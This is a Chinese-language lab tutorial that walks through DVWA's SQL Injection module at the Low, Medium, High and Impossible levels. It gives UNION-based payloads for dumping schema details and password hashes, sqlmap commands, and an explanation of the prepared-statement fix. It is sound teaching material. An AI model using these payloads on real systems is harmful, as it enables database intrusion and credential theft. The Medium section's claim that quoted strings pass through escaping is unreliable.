聊起Web安全入门靶场,DVWA说第二,估计没人敢说第一。这个全称Damn Vulnerable Web Application的靶场,把SQL注入、XSS、命令执行、文件上传这些Web安全经典漏洞全都塞进了一个简洁的PHP应用里,关键是它每个漏洞都分Low、Medium、High、Impossible四个等级,既有可以上手攻击的漏洞环境,也有已经修好的参考代码,练手、学原理、理解防御方案一步到位。今天这篇就专门拆解DVWA的SQL Injection模块,从环境搭建讲起,把四个级别逐个过一遍,手工注入的每一步操作和原理都摊开来说清楚。
这篇内容适合三类人看:刚入门Web安全、想刷靶场练手的同学;准备参加攻防演练、渗透测试相关岗位面试的求职者;还有后端开发朋友——如果你写代码时对SQL语句拼接还没有建立条件反射般的警惕,看完Impossible级别的源码应该就明白了。我会先花一小节讲靶场怎么搭,再复习一遍SQL注入的核心判断方法,然后按照Low、Medium、High、Impossible四个级别逐个拆解。全程尽量不依赖自动化工具,因为手工打一遍,比跑十次sqlmap都管用。
1. DVWA靶场搭建与环境准备
1.1 为什么选DVWA练手
现在市面上Web漏洞靶场其实非常多,比如Pikachu、bWAPP、WebGoat、Sqli-labs。但我个人最推荐初学者从DVWA开始,理由其实很朴素:它自带漏洞源码,而且漏洞环境有难度分级。
自带漏洞源码这一点特别重要。大部分靶场只能让你“打进去拿flag”,但打完之后可能还是没搞懂为什么能打进去。DVWA每个漏洞模块页面底部都有“View Source”按钮,点开就能看到后端PHP代码。你可以一边跑注入语句一边对照源码,理解哪些代码写法有问题,哪些输入被过滤了,为什么能绕过。这种“攻击视角+代码视角”双开的练习方式,很容易建立真实的漏洞思维。
难度分级就更实用了。同一个SQL注入漏洞,Low级别是裸奔版,Medium加了转义,High加了限制条件,Impossible直接上了预编译。四个级别一组,正好对应了一个漏洞从出现到逐步修复的完整过程。把这四个级别都打一遍,你对SQL注入的理解会非常立体。
1.2 三种搭建方案对比
DVWA的搭建方式有好几种,我按实际使用体验给它们排个序。
| 方案 | 操作难度 | 环境依赖 | 适合场景 |
|---|---|---|---|
| Docker部署 | 低 | 安装Docker即可 | 追求快速启动,不想污染本机环境 |
| XAMPP手动部署 | 中 | PHP + MySQL + Apache | 想改源码、想手动调试环境 |
| 在线靶场 | 最低 | 仅浏览器 | 只是纯体验一下漏洞效果 |
Docker方案是我现在最常用的。如果你机器上已经装了Docker,整个部署过程就是一条命令:
docker run -d -p 80:80 vulnerables/web-dvwa启动之后浏览器访问http://localhost/login.php,默认账号是admin,密码是password。首次登录进去会提示初始化数据库,点击“Create / Reset Database”就能一键建好表结构。这个镜像我实测下来在Windows、Mac、Linux上都跑得动,唯一的问题是镜像里的PHP版本比较老,个别Linux发行版上可能要关掉SELinux或者调整端口映射,但大多数情况下是开箱即用的。
XAMPP方案更适合想自己动手折腾的同学。下载XAMPP,启动Apache和MySQL,把DVWA源码解压到htdocs目录下,然后修改config/config.inc.php里的数据库连接信息:
$_DVWA[ 'db_user' ] = 'root'; $_DVWA[ 'db_password' ] = ''; $_DVWA[ 'db_database' ] = 'dvwa';接着访问http://localhost/dvwa/setup.php,点一下初始化,完成后通过http://localhost/dvwa/login.php登录。这种方式的优点是可以随时改源码,配合Xdebug做代码审计练习,但环境配置坑比较多,PHP版本、MySQL密码、目录权限都可能出问题。
在线靶场就没什么好说的了,打开浏览器点两下就能用,适合完全零基础的同学先感受一下。缺点是没有源码参考,而且必须要联网。我建议但凡有条件,还是本地搭一套,练习体验完全不一样。
1.3 搭建过程中的常见坑
我在帮不少人排查过DVWA搭建问题,大部分情况都集中在下面这几个点:
- PHP版本过高。DVWA的老版本用了很多PHP 5时代的写法,在PHP 8.x环境下会直接报一堆warning甚至fatal error。解决办法是本地换成PHP 7.x,或者说用Docker镜像,因为镜像里的PHP版本是打包好的,不会有这个问题。
- MySQL密码不一致。XAMPP默认MySQL的root密码是空,如果你手动改过密码,必须在
config/config.inc.php里同步修改,否则初始化数据库时一直提示连接失败。 - 登录后无限跳转。这个八成是Session或者Cookie的问题,清一下浏览器缓存,重新登录就好。
- 页面内容乱码。DVWA早期的版本对中文支持不太好,需要自己把页面编码调整为UTF-8,或者在浏览器里手动选择编码。
如果按照上面的步骤还是搭不起来,优先看Apache错误日志和PHP错误日志,八九不离十能定位到问题。
2. SQL注入原理与前置知识
2.1 注入的本质是一次“拼接事故”
SQL注入听起来很玄乎,但它的本质其实就是一句话:开发者把用户输入直接拼接进了SQL语句,导致用户输入里的内容被当成了SQL代码执行。
我随手写一个最典型的错误示例:
$id = $_REQUEST['id']; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";正常用户访问时,比如id=1,最终执行的SQL语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1';但如果你传入的是1' AND '1'='1,拼接后就变成了:
SELECT first_name, last_name FROM users WHERE user_id = '1' AND '1'='1';因为'1'='1'恒为真,这个查询就把所有用户的数据都返回了。注意,这里真正的问题是开发者把用户的输入当作SQL语法的一部分来对待,而不是把它视为一个“数据值”。在SQL的世界里,数据和代码之间没有天然边界,一旦输入越过了边界,攻击者就获得了“以你数据库的身份执行任意SQL”的能力。
2.2 判断一个参数是否存在注入:三板斧
在DVWA的SQL Injection模块里,我们要操作的是一个按用户ID查询姓名的功能。页面上有一个输入框,输入1会显示用户1的名字,输入2显示用户2的名字,看起来人畜无害。但判断它是否存在SQL注入,其实只需要三个步骤。
第一步,输入单引号1'。如果页面报错,说明单引号被直接拼进了SQL语句,导致语句语法错误。这是最直观的信号:开发者对输入没有做任何处理。
第二步,输入1' AND '1'='1和1' AND '1'='2,观察页面回显差异。如果前者正常显示,后者显示异常或者空白,说明我们插入的逻辑判断确实参与了SQL语句执行。这叫做“逻辑判断法”,也是手工注入最核心的判断手段。
第三步,尝试注释符和或运算。输入1' OR '1'='1,如果页面返回了不止一条记录,说明我们不仅能影响查询结果,还能让WHERE条件完全失效。
在实际渗透测试中,这三板斧基本够用。凡是能根据输入改变SQL语句语义的参数,都有进一步利用的价值。
2.3 information_schema:数据库的“户口本”
判断出注入点只是第一步,真正危险的地方在于:如果注入点能执行联合查询,攻击者就可以把整个数据库的所有表结构、表数据全部拖出来。这里的核心桥梁就是MySQL自带的information_schema库。
你可以把information_schema理解为MySQL的“户口本”,它记录了当前MySQL实例里所有数据库的信息,包括有哪些库、每个库有哪些表、每个表有哪些列、字段是什么类型。在MySQL里执行select database()能拿到当前使用的库名,执行select version()能拿到数据库版本号。而要从库里翻出全部内容,就需要查information_schema。
普通开发者在业务中几乎不会用到这个库,所以很多SQL注入演练题里,攻击者需要靠它来定位目标数据。比如我们要查“当前数据库里所有表”,用的语句是:
SELECT table_name FROM information_schema.tables WHERE table_schema=database();为什么要限定table_schema=database()?因为不限定的话,会把整个MySQL实例里所有库的表都查出来,信息量太大,也不利于快速定位业务表。限定之后的结果通常就是我们想要的业务表,比如DVWA里的users表。
拿到表名之后,再通过information_schema.columns查这张表有哪些列:
SELECT column_name FROM information_schema.columns WHERE table_name='users';查到列名之后,就可以回去直接执行SELECT user, password FROM users拿数据了。这一串操作,几乎每个SQL注入案例里都会用到。
3. Low级别:最原始的注入现场
3.1 源码长什么样
先看Low级别的源码,这也是整个DVWA里最“诚实”的一段代码:
<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { $id = $_REQUEST[ 'id' ]; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>'.mysqli_error($GLOBALS["___mysqli_ston"]).'</pre>' ); // ... } ?>这段代码的问题明显到不需要解释:接收用户输入,直接拼进SQL字符串,然后交给数据库执行。没有过滤、没有转义、没有参数校验,连基本的错误处理都没有——数据库报错信息会直接回显给用户。这意味着攻击者不仅能注入,还能通过报错信息拿到SQL语句的上下文。
3.2 手工注入完整流程
打开DVWA,把Security Level切到Low,进入SQL Injection模块,开始一步步打。
第一步:确认注入点。输入1',页面直接报错。这个报错就是“欢迎使用SQL注入”的冲锋号。接着输入1' AND '1'='1,正常显示用户1的信息;输入1' AND '1'='2,页面无结果。到这里,注入点100%确认。
第二步:猜测列数。联合查询要求前后两个SELECT语句的列数一致,所以要先知道原查询到底查了几列。用ORDER BY来试探:
1' ORDER BY 1# 1' ORDER BY 2# 1' ORDER BY 3#当输入1' ORDER BY 2#时,页面显示正常;输入1' ORDER BY 3#时,页面报错或空白。说明原查询只有2列。这里我用#作为注释符,目的是把后面可能有的SQL语句部分注释掉,防止语法错误。
第三步:找显示位。输入:
1' UNION SELECT 1, 2#页面会把联合查询的第二部分结果也显示出来,如果页面上出现了数字2,说明第二个字段是回显位。一般第一个字段显示姓,第二个字段显示名,两个都可以用来输出数据。
第四步:爆出当前数据库名。在显示位里放database():
1' UNION SELECT 1, database()#页面显示dvwa,说明当前数据库名就叫dvwa。
第五步:爆表名。查当前库里所有表:
1' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema=database()#页面会列出一堆表,重点关注users表,这一看就是用户表。
第六步:爆列名。查users表里的字段:
1' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users'#返回结果里能看到user、password两个关键字段名。
第七步:拿数据。直接查用户名和密码哈希:
1' UNION SELECT user, password FROM users#页面把所有用户名和MD5加密的密码哈希都返回出来了。密码哈希虽然不能直接登录,但可以通过彩虹表或在线MD5解密还原出明文。
提示:在URL里输入
#时,浏览器会把#当成锚点,不发送给服务器,所以提交时要用%23代替,或者在Burp Suite的Repeat功能里改包发送。
3.3 Low级别的几个实操细节
Low级别看起来简单,但实操中我第一次还是卡了几分钟。有个细节是:在输入框里直接提交时,DVWA用的请求参数是id和Submit,页面是GET方式提交。如果拿Burp Suite抓包,能看到请求长这样:
GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1 Host: 127.0.0.1 Cookie: PHPSESSID=xxxxx; security=low其中security=low是保存安全等级的Cookie,后面用sqlmap自动化时需要带着它。
另一个细节是用ORDER BY猜列数的时候,如果列数超出实际值,页面报错可能比较隐蔽,有时候是整个页面空白。不用慌,这是正常的,返回上一页换另一个数字继续试就行。
Low级别也给我们一个警示:那些“看起来只是按ID查个名字”的小功能,如果没有过滤,往往就是整个系统最致命的突破口。很多真实系统里的高危漏洞,恰恰就藏在这种不起眼的功能里。
4. Medium级别:绕过转义
4.1 源码里加了什么
把安全等级切到Medium,再次查看源码:
<?php if( isset( $_POST[ 'Submit' ] ) ) { $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $_POST[ 'id' ]); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; // ... } ?>相比Low级别,Medium级别做了两处变化:
- 请求方式从GET变成了POST
- 对
$id调用了mysqli_real_escape_string()做转义
mysqli_real_escape_string()会把输入中的单引号、双引号、反斜杠等特殊字符进行转义。比如输入1' OR '1'='1,经过转义后会变成1\' OR \'1\'=\'1。在SQL语句里,被转义掉的字符只代表字面意义上的字符,不再具备闭合引号的功能,所以传统的字符型注入在这关基本失灵。
4.2 为什么转义函数还是防不住
问题出在SQL语句的写法上:
SELECT first_name, last_name FROM users WHERE user_id = $id;注意,$id没有加单引号包裹。这意味着这个参数是“数字型”参数,拼接之后参与SQL运算时,它就是一个数字,或者一串直接跟在等号后面的表达式。
所以,我们根本不需要单引号,只需要用数字和运算符就行。mysqli_real_escape_string()只针对引号和特殊字符做转义,但对于纯数字和运算符,它完全不会处理——因为这些东西本身就“无害”啊。于是,注入语句可以从传统的:
1' OR '1'='1简化成:
1 OR 1=1这样就绕过了转义限制。这个绕过思路在真实渗透测试里非常常见:函数的开发者只考虑了“字符型参数怎么堵”,却没发现参数根本不需要引号就能注入。
4.3 实战绕过过程
Medium级别页面改成了POST提交,所以直接在输入框里操作就行,不需要手动拼URL。
先验证注入点是否存在。输入:
1 AND 1=1页面显示用户1的信息。再输入:
1 AND 1=2页面返回空。这说明SQL语句执行时,我们插入的AND 1=2参与了判断。
然后是联合查询的流程,和Low级别高度相似,只是不再需要单引号闭合:
1 UNION SELECT 1, 2页面显示数字2,说明联合查询成功,显示位还在。
之后就是常规操作:
1 UNION SELECT 1, database() 1 UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema=database() 1 UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users' 1 UNION SELECT user, password FROM users只不过这里的WHERE table_name='users'里又用到了单引号。有意思的是,这一处单引号是出现在我们构造的SQL子句里,而不是需要闭合原查询的引号,所以转义函数管不到它——输入框里照样可以带单引号,因为最终这个合法的字符串字面量会作为SQL的一部分执行。
我当年在这里卡了好一会儿,总觉得既然用了转义,单引号就不能用了。后来才发现,转义函数针对的是整个输入字符串,它会把单引号变成\',但如果我们的\'最终在一个原本就没有引号的上下文里,它反而变成了合法的SQL字符串写法。这个点理解清楚之后,很多中等级别的注入题都能秒解。
4.4 Medium级别的启示
Medium级别最值得学习的地方,不是“怎么绕过”,而是它教会了我们一个安全编码常识:转义函数只能作为辅助手段,不能作为唯一防线。严格的数据类型校验,比如强制ID只能是整数,才是更可靠的方案。假如开发者把代码写成$id = (int)$_POST['id'],那后面的所有联合查询注入都会失效。
5. High级别:LIMIT 真的能拦住注入吗
5.1 源码看起来挺安全
继续提升难度,切到High级别。源码如下:
<?php if( isset( $_SESSION [ 'id' ] ) ) { $id = $_SESSION[ 'id' ]; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; // ... } ?>这关和前面几级有点不同:id参数在页面里是通过点击“Get ID”按钮传送的,真正请求时用到了Session。而且SQL语句比之前多了个LIMIT 1,并且重新回到了字符型注入(单引号包裹)的写法。
一眼看去,High级别似乎比Medium要“硬核”一些:有单引号包裹,有转义(虽然这里没专门转义),还限制了只返回一条记录。很多同学看到LIMIT 1会觉得,即使能注入,也只能返回第一行数据,影响范围被限制了。
5.2 注释符的强大之处
但LIMIT 1真的能拦住注入吗?不能,因为SQL语句里存在注释符。攻击者只需要把LIMIT 1注释掉,这个限制就成了摆设。
比如输入:
1' UNION SELECT user, password FROM users#拼接后的完整SQL是:
SELECT first_name, last_name FROM users WHERE user_id = '1' UNION SELECT user, password FROM users# LIMIT 1;#号把后面的LIMIT 1;全部注释掉了,所以查询结果不只一条,而是全部用户数据。这就好像你给保险箱加了一把锁,但攻击者直接拆掉了一面墙——锁再结实也没用。
MySQL的注释符除了#,还有--(注意后面必须有一个空格)和/* */。在DVWA里最常用的就是#,简单粗暴。
5.3 High级别完整注入步骤
High级别的页面是下拉框或者按钮形式,我习惯在Burp Suite里直接改参数测试。
先用1'测试报错,确认注入存在。
然后构造:
1' UNION SELECT 1, 2#页面出现2,说明显示位正常,同时说明我们的注释符成功把LIMIT 1吃掉了。
后面的流程和Low级别几乎一模一样,只是每一步都要带着#:
1' UNION SELECT 1, database()# 1' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema=database()# 1' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users'# 1' UNION SELECT user, password FROM users#把最后一条输入进去,所有用户的user和password字段直接暴露。
注意:在URL中传参时要写成
%23来代替#。否则请求到浏览器时,#后面的内容会被当anchor,服务器根本收不到。
5.4 High级别最容易被忽视的风险
High级别在源码层面做了三层“防御”:单引号闭合、LIMIT限制、Session传参。但实际效果呢?单引号可以用闭合绕过,LIMIT可以用注释符绕过,Session只是改了传参方式,并没有增加安全强度。所以安全设计必须考虑“纵深防御”,而不是把安全寄希望于某一个小技巧上。
这关也再次说明了注释符在SQL注入中的价值。判断一个注入点能否利用,关键之一就是看能否使用注释符截断后面的SQL片段。如果某些情况下注释符被过滤,注入难度会直线上升。
6. Impossible级别:这才是防御的正确姿势
6.1 源码:PDO预编译
最后来看Impossible级别的源码:
<?php if( isset( $_GET[ 'Submit' ] ) ) { $id = $_GET[ 'id' ]; if( is_numeric( $id ) ) { $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // ... } } ?>这段代码有几个关键点:
- 先检查
is_numeric($id),确保参数必须是数字 - 用PDO的
prepare()预编译SQL语句 - 用
bindParam()绑定参数 - 执行查询时,参数是作为数据值传给数据库引擎,而不是拼接进SQL字符串
这里最核心的是PDO预处理机制。SQL语句的结构在prepare()阶段就被数据库解析好了,后面execute()时传入的$id只会被当成一个值,不会改变SQL语句的语法结构。也就是说,即使用户输入1' UNION SELECT user, password FROM users#,它也只是被当作一个字符串值传给字段user_id,数据库会拿这个字符串去匹配,而不会执行任何注入部分。
6.2 为什么预编译能彻底解决注入
打个比方,直接把用户输入拼进SQL,相当于把用户的话原封不动传给会议主持人,主持人会照着念出来,念到哪算哪,用户说“我要唱歌”主持人就真的开始唱。而预编译机制相当于主持人手里拿了一张写死流程的提词卡,用户输入的内容只是提词卡里某个空格的填充字,不管用户填什么都只能显示成字面内容,无法改变整个流程。
参数化查询能让“SQL语句结构”和“参数数据”彻底分离,这是从设计层面根治SQL注入的手段,不是靠某个过滤函数。这也是为什么OWASP始终把参数化查询列在SQL注入防御方案的第一位。与之相比,任何黑名单过滤、关键字替换、转义函数,都只能算“打补丁”,总有被绕过的可能。
6.3 四个级别的演化过程
把DVWA的SQL Injection四个级别连起来看,其实就是一份浓缩的Web安全编码演进史:
- Low:完全不设防,输入即代码
- Medium:用转义函数,但没有意识到数字型参数不需要引号,等于补了个漏风的口子
- High:限制了返回行数,没考虑注释符,防御停留在“挡住一部分人”的水平
- Impossible:用预编译+参数类型校验,从根上把数据和代码分开,这才是“彻底修好”的样子
把四个级别分段打通之后,你对SQL注入的理解会从“我会执行几个payload”上升到“我知道程序员怎么写会出问题,也知道怎么改才安全”。这种理解层次是刷100道CTF题都很难获得的。
7. 实战中的常见问题与排查技巧
7.1 环境搭建问题速查表
| 现象 | 可能原因 | 解决方法 |
|---|---|---|
| 登录后提示连接数据库失败 | MySQL服务未启动,或config.inc.php中密码不对 | 检查config配置文件,确认MySQL状态 |
| 访问setup.php页面空白或报错 | PHP版本过高,老代码不兼容 | 切换PHP 7.x/5.6,或改用Docker容器 |
| 点击Create/Reset Database没反应 | 数据库表结构已存在,或数据库连接异常 | 重新登录,或先手动删掉dvwa库再重建 |
| 页面中文乱码 | 编码设置不统一 | 浏览器手动切到UTF-8,或修复页面meta声明 |
| 其他机器访问不到DVWA | Apache只监听localhost | 检查Apache的httpd.conf监听配置和防火墙 |
7.2 注入过程中的问题排查
入门阶段最容易遇到这么几个问题:
输入1'没报错,也没有正常回显。这种情况要么是输入根本没进入SQL语句,要么是被某种过滤静默处理了。先确认请求参数名是否正确,再看源码里有没有过滤函数。
ORDER BY试探出行数,UNION SELECT却提示列数不匹配。常见原因是你写的显示位数量不对。比如原查询是2列,你却写UNION SELECT 1,2,3,列数不一致就会报错。记住规则:UNION的列数必须和原查询列数完全一致。
页面能用#注释符,但URL里失效。这就是我前面提到的锚点问题。要么用%23代替,要么用Burp Suite直接改包发送。
拿到密码哈希但解不出来。DVWA里的密码是MD5加密,有些弱口令很容易在在线破解平台解出来,但如果是强密码就解不动。这是正常的,渗透测试里也不是所有密码都能还原,有时只是证明“字段已泄露”就够了。
联合查询出现两次相同的记录。这通常是因为原查询本身返回了记录,UNION的结果又追加在后面,页面显示了两行。解决办法是在原查询处构造一个不存在的条件,比如-1' UNION SELECT user,password FROM users#,把第一段查询结果置空,页面就只显示你想看的数据。
7.3 工具链:Burp Suite与sqlmap
虽然我一直强调手工注入更重要,但在实际渗透测试中完全靠手敲效率太低,工具该上还是要上。Burp Suite和sqlmap是两件套搭档。
Burp Suite主要用于抓包、改包、重放。抓包后能看到DVWA页面发送的原始请求,包括Cookie里的security字段。改包时可以直接修改id参数的值,不受浏览器输入框和URL编码的限制,测试起来更方便。
比如High级别需要传Session参数,用Burp Suite可以很清晰地看到SESSION里带着id,比直接看页面直观得多。
sqlmap自动化注入的命令也简单,但需要带上能证明登录状态的Cookie:
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=XXXXX; security=low" --dbs如果只想快速验证注入点,加--batch参数:
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=XXXXX; security=low" --batchsqlmap会自动判断注入类型、获取库名表名列名数据,甚至能直接尝试读文件、写WebShell。但我建议最好是在手工注入打通一条完整流程之后,再让sqlmap来做速度补充,这样出问题时你知道它在干什么,不会两眼一抹黑。
最后分享一个我个人的练手习惯:每次打完一个靶场模块,我会把四个级别的源码依次截图放进笔记里,在旁边写下“这个防护为什么能被绕过”或者“这个修复方案为什么有效”。时间久了,这些笔记就是一份特别宝贵的安全编码素材库。DVWA的好处就是它把所有答案都摆在你面前,只要肯花时间,SQL注入这个坑,你一定能彻底趟平。